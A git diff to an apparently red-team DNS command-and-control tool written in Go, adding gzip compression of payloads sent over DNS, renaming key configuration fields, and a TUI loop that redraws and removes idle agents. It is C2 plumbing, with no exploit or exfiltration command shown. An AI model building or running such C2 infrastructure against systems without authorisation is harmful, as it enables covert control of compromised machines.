diff --git a/c2/msg.go b/c2/msg.go index 9b80a0d..a02108b 100644 --- a/c2/msg.go +++ b/c2/msg.go @@ -2,6 +2,7 @@ package c2 import ( "bytes" + "compress/gzip" "errors" "math/rand" "sort" @@ -10,6 +11,7 @@ import ( "github.com/lunixbochs/struc" "github.com/miekg/dns" + "github.com/mosajjal/dnspot/conf" "github.com/mosajjal/dnspot/cryptography" ) @@ -96,8 +98,27 @@ func split(buf []byte, lim int) [][]byte { return chunks } +// Gets a big payload that needs to be sent over the wire, chops it up into smaller limbs and creates a list of messages to be sent. It also sends the parentPartID to make sure the series +// of messages are not lost func PreparePartitionedPayload(msg MessagePacket, payload []byte, dnsSuffix string, privateKey *cryptography.PrivateKey, serverPublicKey *cryptography.PublicKey) ([]string, uint16, error) { // TODO: fix duplicate sending + + // handle compression + if len(payload) > conf.CompressionThreshold { + var b bytes.Buffer + gz, _ := gzip.NewWriterLevel(&b, gzip.BestCompression) + if _, err := gz.Write(payload); err != nil { + panic(err) + } + if err := gz.Flush(); err != nil { + panic(err) + } + if err := gz.Close(); err != nil { + panic(err) + } + payload = b.Bytes() + } + var err error var response []string var parentPartID uint16 = 0 diff --git a/conf/conf.go b/conf/conf.go index 2471d1d..062a7e4 100644 --- a/conf/conf.go +++ b/conf/conf.go @@ -6,27 +6,31 @@ import ( "github.com/mosajjal/dnspot/cryptography" ) +const ( + CompressionThreshold = 1024 * 2 // 2KB +) + var GlobalServerConfig struct { - LogFile string - LogLevel uint8 - PrivateKeyB32 string - PrivateKey *cryptography.PrivateKey - ListenAddress string - EnforceClientKeys bool - AcceptedClientKeysB32 []string - AcceptedClientKeys *[]cryptography.PublicKey - DnsSuffix string + LogFile string + LogLevel uint8 + PrivateKeyBasexx string + PrivateKey *cryptography.PrivateKey + ListenAddress string + EnforceClientKeys bool + AcceptedClientKeysBasexx []string + AcceptedClientKeys *[]cryptography.PublicKey + DnsSuffix string } var GlobalAgentConfig struct { - CommandTimeout time.Duration - LogLevel uint8 - PrivateKeyB32 string - PrivateKey *cryptography.PrivateKey - ServerAddress string - ServerPublicKeyB32 string - ServerPublicKey *cryptography.PublicKey - DnsSuffix string + CommandTimeout time.Duration + LogLevel uint8 + PrivateKeyBasexx string + PrivateKey *cryptography.PrivateKey + ServerAddress string + ServerPublicKeyBasexx string + ServerPublicKey *cryptography.PublicKey + DnsSuffix string } type Runmode uint8 diff --git a/server/ui.go b/server/tui.go similarity index 79% rename from server/ui.go rename to server/tui.go index 66c6610..64b95a4 100644 --- a/server/ui.go +++ b/server/tui.go @@ -2,6 +2,7 @@ package server import ( "fmt" + "time" "github.com/mosajjal/dnspot/cryptography" "github.com/rivo/tview" @@ -25,6 +26,21 @@ var UiLog = tview.NewTextView() var UiRoot = tview.NewApplication() +func uiUpdater() { + timeticker := time.NewTicker(1 * time.Second) + idleAgentRemovalTicker := time.NewTicker(60 * time.Second) + // runCmdTicker := time.NewTicker(30 * time.Second) + for { + select { + case <-timeticker.C: + UiRoot.Draw() + + case <-idleAgentRemovalTicker.C: + RemoveIdleAgents() + } + } +} + func RunTui() { UiAgentList.SetTitle("Agents").SetBorder(true) UiCmd.SetTitle("Command").SetBorder(true) @@ -53,7 +69,11 @@ func RunTui() { AddItem(UiLog, 0, 1, 1, 1, 0, 100, false). AddItem(UiCmd, 1, 0, 1, 2, 0, 100, true) + // refresh UI and remove idle nodes as a goroutine + go uiUpdater() + if err := UiRoot.SetRoot(grid, true).SetFocus(grid).EnableMouse(true).Run(); err != nil { panic(err) } + }